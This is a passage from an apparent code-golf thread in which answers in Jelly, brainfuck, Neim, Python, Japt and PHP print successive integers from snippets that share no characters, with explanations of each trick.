`Ḣ` extracts the first element, and the *square* atom `²` returns \\*\\*6² = 36\\*.\n```\n‘‘‘0‘‘‘‘‘‘‘\n```\nThe *increment* atom `‘` increments its argument by **1**, so `‘‘‘` turn the initial return value **0** into **3**. The following **0** is an unparseable nilad, i.e., it doesn't fit into the chain in any way. As a result, the previous return value (**3**) is printed to STDOUT, then replaced with the nilad's value (**0**).\nThe following **7** copies of `‘` turn this **0** into **7**, which is printed implicitly when the program finishes.\n```\n’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’ạ\n```\nThe *decrement* atom `’` decrements its argument by **1**, so thirty-eight copies turn the initial return value **0** into **-38**. The *absolute difference* atom `ạ` computes the unsigned difference between **-38** and the implicit argument **0**, returning **38**.\n```\n-____---__________\n```\n`-` is a shorthand for **-1** and sets the link's argument and return value to **-1**. Each `_` is an instance of the dyadic *subtraction* atom, whose right argument will default to **-1** if missing.\nFirst, `-____-` computes **(-1) - (-1) - (-1) - (-1) - (-1) = 3**. The following **-1** is an unparseable nilad, so the previous return value (**3**) is printed to STDOUT, then replaced with the nilad's value (**-1**).\nNext, `-_` computes **(-1) - (-1) = 0**, where the literal `-` sets the *left* argument of `_` and uses the return value as the right one. The following nine copies of `_` subtract the default argument **-1** from the return value, yielding **9**, which is printed implicitly when the program finishes.\n```\n”(O\n```\n`”(` is a character literal and the *ordinal* atom `O` looks up its Unicode code point, yielding **40**.\n### 41 – 47\n```\n⁵ḶxḶ⁵ị⁵ḶxḶḣṢ\n```\nIn absence of a third command-line argument, the constant `⁵` holds **10**. The *unlength* atom `Ḷ` creates a 0-based range, specifically **[0, …, 9]** for argument **10**, to both sides of the *repeat in place* atom `x`. The latter matches elements of its left argument with repetitions of its right one, and repeats each of the elements the corresponding number of times. With **[0, …, 9]** as both left and right argument, we thus get zero zeroes, one one, two twos, etc.\nThe *index into* atom `ị` fetches the element of its right argument at the index specified in its left one. With left argument **10** (`⁵` to its left) and right argument **[1, 2, 2, 3, 3, 3, 4, 4, 4, 4, …, 9]** (previous result), this gives **4**.\nThe chain up to this point is followed by an unparseable nilad `⁵`, so the previous return value (**4**) in printed to STDOUT, the return value is set to **10**, and the rest of the chain is parsed as usual.\nAs before, `⁵ḶxḶ` will yield the array **[1, 2, 2, 3, 3, 3, 4, 4, 4, 4, …, 9]**. This time, we call the *sorted* atom `Ṣ` on the argument **10**, which promotes **10** to **[1, 0]**, then sorts it to yield **[0, 1]**. The *dyadic head* atom now fetches the prefixes of lengths **0** and **1** from the result to the left, leaving us with **[[], [1]]**. When printed, nothing but **1** will remain visible.\n```\n⁽{ʂ%⁽{}\n```\n`⁽` and its two following characters constitute a numeric literal. If **j** and **k** are their code points in Jelly's code page and **(j, k) < (124, 250)**, we get the integer **1001 + 250j + k**. The code points of **'{'**, **'}'**, and **'ʂ'** are **123**, **125**, and **167**, so the left literal evaluates to **1001 + 250 × 123 + 167 (= 31918)**, while the right one evaluates to **1001 + 250 × 123 + 125 (= 31876)**.\nSince the left integer is less than twice as big as the right one, the result is **(… + 167) % (… + 125) = (… + 167) - (… + 125) = 167- 125 = 42**.\n```\nẊẠżv©żvżvżvọ®®Ạżvżvżvọ®\n```\nThe *shuffle* atom `Ẋ` randomizes the order of its argument's elements; a numeric argument **z** is promoted to the range **[1, …, z]** beforehand. For the implicit argument **0**, this range is empty and `Ẋ` yields **[]**. The *all* atom `Ạ` returns **1** if all of its argument's elements are truthy, **0** if not. Since an empty array does not contain falsy elements, `Ạ` returns **1** here.\nThe *zip with* atom `ż` (a dyad) takes arguments **x** and **y** and transposes the pair **[x, y]**. For integers **x** and **y**, this simply yields **[[x, y]]**, so this particular `ż`, called with arguments **1** and **0** (the implicit argument), returns **[[1, 0]]**. The *dyadic eval* atom `v` turns all flat arrays (containing only numbers and characters) i the left argument into strings, then evaluates the resulting strings as monadic Jelly programs with its right argument as the programs' arguments. Since **[\"10\"]** consists solely of literals, this ignores the right argument of `v` and simply results in **[10]**.\nThe *copy* quick `©` attaches to `v` and copies its result into the register. Later occurrences of the *recall* atom `®` (a nilad) will fetch **[10]** from the register.\nThe next three copies of `żv` work as before, mapping **[10]** to **[[10, 0]** to **[100]** to … to **[10000]**. The *order* atom `ọ` tests how many times its left argument is divisible by its right one, so here, it computes the order of **10** (fetched with `®`) in **10000 = 104**, yielding **[4]**.\nThe following `®` is an unparseable nilad, so the previous return value (**[4]**) is printed to STDOUT, then replaced with the nilad's value (**10**). We apply `Ạ` next, yielding **1**. (This is required as a nilad followed by a dyad would be parseable at this point.)\nAs before, `żvżvżv` appends three zeroes to the current return value, turning **1** into **[1000]**. Finally, `ọ®` computes the order of **10** in **1000 = 103**, and **3** is printed to STDOUT when the program finishes.\n```\n44\n```\nYet another repdigit, yet another literal.\n```\n111111l11&K1111111Kl11&\n```\nFirst and foremost, the literal `111111` sets the argument and initial return value to **111111**. The other runs of `1` are also literals.\n`l` is the *logarithm* atom , which computes the logarithm of its left argument to the base specified in the right one. When called on **111111** with right argument **11**, we get **log11111111 ≈ 4.85**.\nThe *words* atom `K` joins a list argument at spaces, after promoting a numeric/character **z** to **[z]**. Here, we simply use it to turn the link's argument **111111** into **[111111]**. (We do not require an array here, but we have run out of identity atoms.) The *bitwise AND* atom `&` takes the return values to both sides, casts them to integer if required, and computes their bitwise AND. In this particular case, it returns **[4.85 & 111111] = [4 & 111111] = [4]**.\nThe following `1111111` is an unparseable nilad, so the previous return value (**[4]**) is printed to STDOUT, then replaced with the nilad's value (**1111111**). `K` then turns this integer into **[1111111]**. (This is once again not really required, but a nilad followed by a dyad would be parseable at this point.)\nAs before, `l11` computes **log111111111 ≈ 5.81**, then `&` returns **[5.81 & 111111] = [5 & 111111] = [5]**.\n```\n,SS\nỊỊ,ÇS\nÇÑÇÇÇÑ\n```\nThis is the only program that consists of multiple user-defined links. The last link is the main link and executes when the program starts, the remaining ones are helper links. The quick `Ç` always refers to the link above the current one and executes it monadically. Likewise, the quick `Ñ` always refers to the link *below* the current one (wrapping around) and also executes it monadically.\nThe top link consists of the **pair** atom `,` – a dyad that turns arguments **x** and **y** into **[x, y]** – and the *sum* atom `S` – a monad that promotes an integer argument **z** to **[z]** and reduces an array argument by addition. When the link `,SS` is called with an integer argument **n**, it computes **Σ[n, Σn] = Σ[n, n] = 2n**.\nThe middle link consists of the above atoms, the aforementioned quick `Ç`, and the *insignificant* atom `Ị` – a monad that yields **1** for numeric arguments **z** with **-1 ≤ z ≤ 1**, but **0** for all others. Applying `Ị` twice to an integer argument **n** essentially replaces it with **1**, as the output of the first `Ị` (the *input* of the second one) is *always* insignificant. This result is then paired with the return value of `Ç` (called with argument **n**), and the resulting pair is reduced by `S`. In total, we compute **Σ[(|n| ≤ 1) ≤ 1, 2n] = Σ[1, 2n] = 2n + 1**.\nWith these two helper links in place, the main link can now construct any non-negative integer by looking at its binary digits. With an initial return value of **0**, the chain `ÇÑÇÇÇÑ` computes the final result **(((((0 × 2 + 1) × 2) × 2 + 1) × 2 + 1) × 2 + 1) × 2 = ((5 × 2 + 1) × 2 + 1) × 2 = 46**.\n```\nÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆn\n```\nThe *next prime* atom finds the smallest positive prime number that is strictly greater than its argument. With initial return value **0**, fifteen invocations of `Æn` compute the fifteenth prime number, which is **47**.\n[Answer]\n# [brainfuck](https://esolangs.org/wiki/brainfuck), score 2, ~~255~~ ~~144~~ 10 bytes\n...Yeah, not the best idea since I only have 8 characters (tarpits gonna tarpit) to work with but let's see how much is possible. ~~I think this is all that's possible. :P~~ This answer demonstrates six of the eight characters brainfuck uses, the other two being `,`, which is input and `.`, which is output.\n```\n+\n>--[<->-]\n```\n[Visualize it online!](https://fatiherikli.github.io/brainfuck-visualizer/#MToKKwoKPiBtb3ZlIHRvIHRoZSBuZXh0IGNlbGwKCjI6Cj4tLVs8LT4tXQ==)\n## Explanation\nEvery number is created and stored on the starting cell on the tape. Heavily relies on the wrapping cells, which are not implemented in a few interpreters.\n**1**: \n```\n[ 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n+ increment the current cell\n[ 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n```\n**2**:\n```\n[ 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n> move to the next cell\n-- decrement the current cell twice\n[ 0 |254| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n[ while the current cell is not 0\n< move to the previous cell\n- decrement the current cell\n[255|254| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n> move to the next cell\n- decrement the current cell\n[255|253| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n] repeat while the current cell is not 0\n...\n[ 3 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n[ 2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n[ 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ]\n ^\n```\n[Answer]\n# [Neim](https://github.com/okx-code/Neim/), score 38, 327 bytes\n```\n1: 𝔼\n2: 2\n3: 3\n4: 4\n5: 5\n6: 6\n7: 7\n8: 8\n9: 9\n10: β\n11: γ\n12: δ\n13: ε\n14: ζ\n15: η\n16: θ\n17: ι\n18: κ\n19: λ\n20: μ\n21: ν\n22: ξ\n23: π\n24: ρ\n25: σ\n26: ς\n27: τ\n28: υ\n29: φ\n30: χ\n31: ψ\n32: ω\n33: >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n34: <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<𝐀\n35: 𝐓0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻\n36: ℂ𝐋𝐠𝐋𝐠𝐋𝐠𝐋𝐝𝐬𝕏𝐬\n37: α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊\n38: 𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝐥\n```\nExplanation:\n* For 1, we use the 'check for equality' token, here exploiting that when Neim attempts to pop on empty input, it gets 0. As 0 and 0 are equivalent, this pushes 1 which is implicitly printed\n* From 2 through 9, we just use numeric literals.\n* From 10 through 32, Neim actually has one byte constants for all of them (yes, it's\ncrazy).\n* For 33, we only use the increment command. On the first byte,\nNeim tries to pop something so it can increment it, but since the\ninput is empty, it defaults to popping `0`.\n* For 34, we\nuse the same approach, but decrementing, and taking the absolute\nvalue.\n* For 35, we are exploiting the fact that zero factorial is one, and we use that by duplicating the one and repeatedly adding\n* For 36, we use `ℂ` to check 0 and 0 for co-primality, which they are. This pushes 1. Then we get the first prime using `𝐋`, which results in a singleton list containing just 2. We then get the greatest element (`𝐠`), which pushes 2 as a number. Then we repeat this process until we get the list `[2 3 5 7 11]`. After that, we use `𝐝` to calculate the deltas, resulting in the list `[1 2 2 4]`. Next, we use `𝐬` to get the sum - which is 9 - then we calculate exclusive range from 0 to 9, resulting in `[0 1 2 3 4 5 6 7 8]`. Finally, `𝐬` is used again to get 37.\n* For 37, `α` is a constant that represents negative one, and we repeatedly push it and subtract (again exploiting the fact that when we attempt popping on empty input, 0 is pushed)\n* For 38, once again using the default 0 for empty input, we keep appending 0 to itself, creating a long list, then calculating the length.\n[Can be tried here](http://178.62.56.56/neim)\n[Answer]\n# Python 2, 15\nHere's a start, looking for more\n*Thanks to leo whose tip helped me to get to 15*\n```\n[[[]]>[]][[]>[]]>>[[]>[]][[]>[]]\n```\n---\n```\n2\n```\n---\n```\nimport math\nprint'%i'%math.pi\n```\n---\n```\n((()<())<())<<((()<())<())<<((()<())<())\n```\n---\n```\n5\n```\n---\n```\n6\n```\n---\n```\n7\n```\n---\n```\n8\n```\n---\n```\n9\n```\n---\n```\n11^1 \n```\n---\n```\n33/3\n```\n---\n```\n4--4--4\n```\n---\n```\n__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__\n```\n---\n```\nq=\"\"==\"\";qq=q==\"\";qqq=~q*~q*~q;~qqq*~q*~qq\n```\n---\n```\n0xF\n```\n[Answer]\n# [Japt](https://github.com/ETHproductions/japt), 448 bytes, score 42\nA large collaboration between [Shaggy](https://codegolf.stackexchange.com/users/58974/shaggy), [ETHproductions](https://codegolf.stackexchange.com/users/42545/ethproductions), & [Oliver](https://codegolf.stackexchange.com/users/61613/oliver).\n```\nv\ny\nÍà\nQiiii)iiii)âQ\nÂHq\nLÁL\n´Vn´VnVnVn\n8\n9\nA\nB\nC\nD\nE\nF\nG\nJ-----J---J---J---J\n[¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾]x\n;Iìw\n~~½e½e½e½e~½e½\n++T+++T+++T+++T+++T+++T\n22\nÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ\n4á\n5²\n°UU°°°U°°U°°U°°U°°U\n»³³\n7/¼\n$'_____________________________b'$bb\nZµÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ\n\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"aa\nSc\n33\nMg011\n##\n6p\nRí í í í í è.\n`¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥`l\n¨N|N¹òò¹m···m|¹mò¹m···m|¹mò¹m···m|¹o\nº¤¤*º¤*º¤\n(Å<<(Å<<(Å<<(Å<<(Å<<(Å^(Å<<(Å<<(Å<<(Å^(Å\nY±Y¶YY±YY±Y±Y¶YY±YY±Y±Y¶YY±Y\n```\nThese (useful) chars are left:\n```\n!%&,:=>?@OPWX\\dfhjkrstuz{}¡¢£¦§©ª«¬®¯¸ÀÃÆÇÈÐßãäåæçéêëîïñóôõö×øÿ\n```\n---\n## Explanations\nA couple of things to know about Japt before we start, that I've made frequent use of. Firstly, Japt has 6 variables reserved for input, those being the uppercase letters `U-Z`. If no input is passed through those variables, they all default to `0`. The second thing is covered in [this tip](https://codegolf.stackexchange.com/a/121417/58974).\nClick on any snippet to try it in the [online interpreter](https://ethproductions.github.io/japt).\n---\n[```\nv\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=dg==&input=)\nWhen applied to a number, the `v` method takes an integer **n** as an argument, and returns **1** if the number is divisible by **n**, **0** if not. If **n** isn't supplied then it defaults to **2**. **0** (the default value for `U`) *is* divisible by **2**, so this gives us our **1**.\n---\n[```\ny\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=eQ==&input=)\nVery similar to the first one. When applied to a number, the `y` method takes an integer **n** as an argument, and returns the GCD of the two numbers. If **n** isn't supplied then it defaults to **2**. Since **0** is divisible by **2**, **GCD(0, 2)** gives us our **2**.\n---\n[```\nÍà\n```](https://ethproductions.github.io/japt/?v=1.4.5&code=zeA=&input=)\n`Í` is the shortcut for `n(2)` or `2`-`this`. Because we have no input, we default `this` to `0`, which results in `2-0 = 2`.\n`à` returns the number of combinations of `[1...this]`, which returns **3**\n---\n[```\nQiiii)iiii)âQ\n```](https://ethproductions.github.io/japt/?v=1.4.5&code=UWlpaWkpaWlpaSniUQ==&input=)\n`Q` defaults to a single quotation mark. `i` on a string inserts another string at the beginning; as explained in **#3**, each `iiii)` is equivalent to `.i(\"i\".i(\"i\"))` in JS, thus inserting two copies of `i` at the beginning of the string. Do this twice and you have the string `iiii\"`. `âQ` then simulates `.search(Q)`, giving the index of the first `\"` in the string, which is **4**.\n---\n[```\nÂHq\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=wkhx&input=)\n`H` is the constant for **32**. When applied to a number the `q` method, which takes integer **n** as an argument, returns the **n**th root of that number. If **n** is not supplied the default value is **2** so `Hq` gives us the square root of 32 which is approximately **5.6568**. `Â` is the shortcut for `~~`, which floors the result, giving us **5**.\n---\n[```\nLÁL\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=TMFM&input=)\n`L` is preset to **100**, and `Á` is the shortcut for `>>>` (zero-fill bitwise right shift). `100>>>100` is the same as `100>>>4` (the right operand wraps mod 32), which is **6**.\n---\n[```\n´Vn´VnVnVn\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=tFZutFZuVm5Wbg==&input=)\nAs noted before, `V` defaults to **0**. `´` is the shortcut for the `--` operator, so the code is equivalent to the following JS:\n```\n(--V).n((--V).n(V.n(V.n())))\n```\n`X.n(Y)` is equivalent to **Y - X**, or **-X + Y**; the first `--V` returns **-1**, and the second **-2**, so this is about equivalent to **-(-1) + (-(-2) + (-(-2) + -(-2)))**. Simplifying, we get **1 + 2 + 2 + 2 = 7**.\n---\n```\n8\n9\n```\nLiterally, **8** and **9**.\n---\n```\nA\nB\nC\nD\nE\nF\nG\n```\nThese are the constants for **10**-**16**, inclusive.\n---\n[```\nJ-----J---J---J---J\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=Si0tLS0tSi0tLUotLS1KLS0tSg==&input=)\n`J` is preset to **-1**. The Japt interpreter somehow manages to parse this correctly, as `(J--) - (--J) - (--J) - (--J) - (--J)`. Doing some more math, we find that this is equivalent to **(-1) - (-3) - (-4) - (-5) - (-6)**, or **-1 + 3 + 4 + 5 + 6 = 17**.\n---\n[```\n[¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾]x\n```](https://ethproductions.github.io/japt/?v=1.4.5&code=W76+vr6+vr6+vr6+vr6+vr6+vr6+vr6+vl14&input=)\n`¾` is, as you might guess, a shortcut for `.75`. We put 24 copies of **0.75** in an array, then sum with `x`, giving **0.75 \\* 24 = 18**.\n---\n[```\n;Iìw\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=O0nsdw==&input=)\nI think this is my favourite one. `;` at the beginning of the program changes the values of some of the Japt constants; without it `I` is **64**, but with it, `I` is **91**. `ìw` converts it to a list of digits and runs `w` on the list, reversing the array, then converts back to a number to get us **19**.\n---\n[```\n~~½e½e½e½e~½e½\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=fn69Zb1lvWW9ZX69Zb0=&input=)\n`½` is a shortcut for `.5`. `e` on a number **x** takes in an argument **y** and returns **x \\* 10y**. So the chain of calculations that happens is:\n```\n ½e½ 1.5811 (.5 * sqrt(10))\n ~ -2\n ½e 0.005 (.5 * (10 ** -2))\n ½e 0.5058\n ½e 1.6024\n ½e 20.0138\n```\nAnd the final `~~` serves to floor this to an integer, yielding our result of **20**.\n---\n[```\n++T+++T+++T+++T+++T+++T\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=KytUKysrVCsrK1QrKytUKysrVCsrK1Q=&input=)\n`T` is preset to **0**. `++` is the increment operator in JS and also in Japt; `T+++T` is parsed as `(T++) + T`, but `++T+++T` is parsed as `(++T) + (++T)`, so this is equivalent to the JS code\n```\n(++T) + (++T) + (++T) + (++T) + (++T) + (++T)\n```\nThe result is **1 + 2 + 3 + 4 + 5 + 6**, which sums to **21**.\n---\n```\n22\n```\nA literal **22**.\n---\n[```\nÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=xMTExMTExMTExMTExMTExMTExMTExMQ=&input=)\n`Ä` is a shortcut for `+1`, so this simply sums **23** `1`s.\n---\n[```\n4á\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=NOE=&input=)\nThis finds the number of permutations of `[1, 2, 3, 4]`, which is **4! = 24**.\n---\n[```\n5²\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=NOE=&input=)\n`²` is a shortcut for `p2`, which raises a number to the power of two. **5 \\*\\* 2** is **25**.\n---\n[```\n°UU°°°U°°U°°U°°U°°U\n```](https://ethproductions.github.io/japt/?v=1.4.5&code=sFVVsLCwVbCwVbCwVbCwVbCwVQ==&input=)\n`°` is a shortcut for the `++` operator, or if it cannot be parsed as such, `+ +`. As noted before, when there is no input, `U` defaults to **0**. So the code is equivalent to `(++U), (U++) + + (++U) + + (++U) + + (++U) + + (++U) + + (++U)`, which is very similar to **#17**: `U` is first incremented to `1`, then repeatedly incremented and added such that the final result is **1 + 3 + 4 + 5 + 6 + 7 = 26**.\n---\n[```\n»³³\n```](https://ethproductions.github.io/japt/?v=1.4.5&code=u7Oz&input=)\n`³` is the shortcut for the `p` method with an argument of **3**. However, if a lowercase letter appears directly after a left-parenthesis (`»` is the shortcut for `((`), it becomes a string. This lets it get passed to a method and called as a function (i.e. `m³` would be mapping by `.p(3)`). In this case, however, `(\"p\",3)` returns our`3`, then we raise it to the power of `3` (`p` is the power method when applied to a number), which gives us our **27** .\n---\n[```\n7/¼\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=Ny+8&input=)\n`¼`, as you probably know by now, is a shortcut for `.25`, so this calculates **7 / 0.25 = 28**.\n---\n[```\n$'_____________________________b'$bb\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=JCdfX19fX19fX19fX19fX19fX19fX19fX19fX19fX2InJGJi&input=)\nAnything wrapped in `$` symbols is treated as pure JavaScript, so we've got a string of 29 underscores followed by a `b`. (Without the `$`, `'` would be a single-character string.) The `b` method when applied to a string returns the first index of its argument within that string. As explained in **#3**, the last `b` is converted to a string, so we're grabbing the first index of `b` in our string, which is **29**.\n---\n[```\nZµÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ\n```](https://ethproductions.github.io/japt/?v=1.4.5&code=WrXJycnJycnJycnJycnJycnJycnJycnJycnJycnJyck=&input=)\n`µ` is a shortcut for `-=`, and `É` for `-1`. The effect is subtracting 30 copies of **-1** from **0**, which gives **30**.\n---\n[```\n\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"aa\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=ImFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhImFh&input=)\nVery much like #29. The `a` method, when applied to a string, returns the last index of its argument in that string. Using 0-indexing, the last index of `a` in a string of 32 `a`s is **31**.\n---\n[```\nSc\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=U2M=&input=)\n`S` is predefined to a single space, and `c` on a single-char string returns its char-code, giving **32**.\n---\n```\n33\n```\nLiteral **33**.\n---\n[```\nMg011\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=TWcwMTE=&input=)\n`MgN` returns the Nth Fibonacci number. `011` is **9** in octal; the 9th Fibonacci number is **34**.\n---\n[```\n##\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=IyM=&input=)\n`#` returns the char-code of the next character. The char-code of `#` itself happens to be **35**, making our job here especially easy.\n---\n[```\n6p\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=NnA=&input=)\n`p` is exponentiation, and without a second argument it defaults to **2**; thus, this prints **6 \\*\\* 2 = 36**.\n---\n[```\nRí í í í í è.\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=Uu0g7SDtIO0g7SDoLg==&input=)\nThis one is rather tricky. `R` defaults to a single newline character (that it's a newline becomes important later). `í` on a string, without any arguments, takes each character and appends its index: a rather useless transformation, but the result through 5 iterations is this: (using `R` instead of a literal newline)\n```\nR\nR0\nR001\nR0010213\nR001021304251637\nR0010213042516370849210511112613314715\n```\nInteresting how each entry is simply a prefix of the next... But anyway, the last part, `è.`, counts how many matches of `/./g` are found in the result. There are 38 chars in the string; however, since `/./g` only matches non-newline chars, the result is **37**.\n---\n[```\n`¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥`l\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=YKWlpaWlpaWlpaWlpaWlpaWlpaVgbA==&input=)\nBackticks mark a compressed string, and `¥` decompresses to `ll`. `l` on a string gives `l`ength, so after decompression, this gives **38**.\n---\n[```\n¨N|N¹òò¹m···m|¹mò¹m···m|¹mò¹m···m|¹o\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=qE58Trny8rltt7e3bXy5bfK5bbe3t218uW3yuW23t7dtfLlv&input=)\nOooh boy, this one's a doozy. First, we generate `true` with `¨N` (`¨` stands for `>=`, and `N` with no inputs is the empty array), then convert that to `1` with `|N`. From there on out it gets pretty crazy:\n```\nò Inclusive range [0..1], [0, 1]\n ò making each an inclusive range. [[0], [0, 1]]\nm· Join each on newlines. [\"0\", \"0\\n1\"]\n· Join on newlines. \"0\\n0\\n1\"\n· Split on newlines. [\"0\", \"0\", \"1\"]\nm Map each item X and index Y to \n | X | Y. [\"0\" | 0, \"0\" | 1, \"1\" | 2] -> [0, 1, 3]\nm Map each by \n ò inclusive range. [[0], [0, 1], [0, 1, 2, 3]]\nm··· Same as before. [\"0\", \"0\", \"1\", \"0\", \"1\", \"2\", \"3\"]\nm| Bitwise OR thing again. [0, 1, 3, 3, 5, 7, 7]\nmò Map each by inclusive range. [[0], [0, 1], ..., [0, 1, 2, 3, 4, 5, 6, 7]]\nm··· Same as before. [\"0\", \"0\", ..., \"5\", \"6\", \"7\"]\nm| Bitwise OR again. [\"0\"|0, \"0\"|1, ..., \"5\"|30, \"6\"|31, \"7\"|32]\n -> [0, 1, ..., 31, 31, 39]\n```\n(The `¹`s are just substitutes for close-parens and have been omitted.) The final `o` then pops and returns the final item in the array, giving **39**.\n---\n[```\nº¤¤*º¤\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=uqSkKrqkKrqk&input=)\nMostly the same trick as with **#3**. `¤` is the shortcut for the `s` method with an argument of **2**. In this case, however, the transpiled code is `((\"s\", 2).s(2) * ((\"s\", 2) * ((\"s\", 2))))`, or simplified, `(2).s(2) * (2 * 2)`. `.s(2)` returns the number as a base-2 string, which gives `\"10\"`; `* (2 * 2)` implicitly converts this to a number and multiplies by **4**, giving **40**.\n---\n[```\n(Å<<(Å<<(Å<<(Å<<(Å<<(Å^(Å<<(Å<<(Å<<(Å^(Å\n```](http://ethproductions.github.io/japt/?v=1.4.5&code=KMU8PCjFPDwoxTw8KMU8PCjFPDwoxV4oxTw8KMU8PCjFPDwoxV4oxQ==&input=)\nSimilar to the previous one. `Å` is the shortcut for the `s` method with an argument of **1**. In this case, however, each `(Å` transpiles to `(\"s\", 1)`, which just returns **1**. `1<<1<<1<<1<<1<<1` is **32**, and `1<<1<<1<<1` is **8**; these are XORed together with `1` to get **41**.\n---\n[```\nY±Y¶YY±YY±Y±Y¶YY±YY±Y±Y¶YY±Y\n```](https://ethproductions.github.io/japt/?v=1.4.5&code=WbFZtllZsVlZsVmxWbZZWbFZWbFZsVm2WVmxWQ==&input=)\n`±` is a shortcut for `+=`, and `¶` for `===`. This means that the code is actually\n```\nY+=Y===Y,Y+=Y,Y+=Y+=Y===Y,Y+=Y,Y+=Y+=Y===Y,Y+=Y\n```\n`Y===Y` is always true, so we can simplify this some:\n```\nY+=1,Y+=Y,Y+=Y+=1,Y+=Y,Y+=Y+=1,Y+=Y\n```\n**0 + 1 = 1**; **1 + 1 = 2**; **2 + (2+1) = 5**; **5 + 5 = 10**; **10 + (10+1) = 21**; **21 + 21 = 42**.\n[Answer]\n# PHP, score 17, 130 Bytes\ncharacters used `ADEFGIKLMOPRSTVXYZ=_![]()<>'\"#$,;/-+*|^&0123456789afhnprstwx`\n```\nZ==Z\nFTP_MOREDATA\n';'&w\n![]<>3>>3>>3>>3>>3\n99/9\n22-2-2-2-2-2\nstrspn(XXXXXXXXXXXXXX,X)\n7+7\n0xf\n4*4\nha^YV\n```\n1 Boolean constant Z (not set) equal constant Z\n2 FTP\\_MOREDATA is a constant in PHP with the value 2\n3 bitwise and chars ; and w\n4 bitwise Shift left and logical not cast empty array to boolean true with is cast to integer 1 through the shift left operator \n7 bitwise Or chars # and $ and 1\n9 SIGKILL is a constant in PHP with the value 9\n10 bitwise Shift right every step is an integer division with 8 so we have the steps 333333, 41666, 5208, 651, 81 ,10\n13 count char X in the string X... from the beginning\n15 hexadecimal value f = 15\n17 bitwise Xor with the strings ha and YV\nAll snippets are items in an array\n[Try it online!](https://tio.run/##VY5dq4JAAETf@xetktpOlGapuBpCH0hGURKmWcTlir3UokI99N@9cqGgMzPneXjOazbhjbN7IdvilalmY0qV1u9Pfk9ix4kxDzfn1Xo7m3qhB8mWOg@0k5SxtzDCGEQgLyI2UwlM7PzF0g8CDP9x3a/CsvoWNK33CcqqKPlNjr5ApMCgBgbPDHpXR345HfZpQsVrCnKsiF0L3nQ2X/jLYLXebHfhPjrEzrl5JCvMlYggwu73aPd16gxUbaiPxoZpXbL8xouyejzrPw \"PHP – Try It Online\")\n# PHP, score 16, 94 Bytes\ncharacters used 